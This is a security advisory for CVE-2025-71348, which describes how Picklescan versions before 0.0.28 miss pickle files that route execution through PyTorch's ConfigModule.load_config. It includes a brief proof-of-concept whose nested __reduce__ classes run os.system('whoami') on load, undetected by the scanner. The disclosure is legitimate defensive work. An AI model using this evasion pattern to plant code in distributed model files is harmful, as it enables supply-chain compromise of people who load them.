CVE-2025-71348
Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config
Impact
### Summary Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution. ### PoC ``` import pickle from torch.utils._config_module import ConfigModule class Evil: def __reduce__(self): return (os.system, ('whoami',)) class EvilTorchUtilsConfigModuleLoadConfig: def __reduce__(self): evil_payload = pickle.dumps(Evil()) return ConfigModule.load_config, (None, evil_payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| pip | picklescan | <= 0.0.27 | 0.0.28 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Mmaitre314 | Picklescan | before 0.0.28 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vv6j-3g6g-2pvj
- https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-torch-utils-config-module-load-config-bypass
- https://github.com/advisories/GHSA-vv6j-3g6g-2pvj
- https://github.com/mmaitre314/picklescan/pull/47
- https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53
- https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28
- https://nvd.nist.gov/vuln/detail/CVE-2025-71348
- https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2026-245.yaml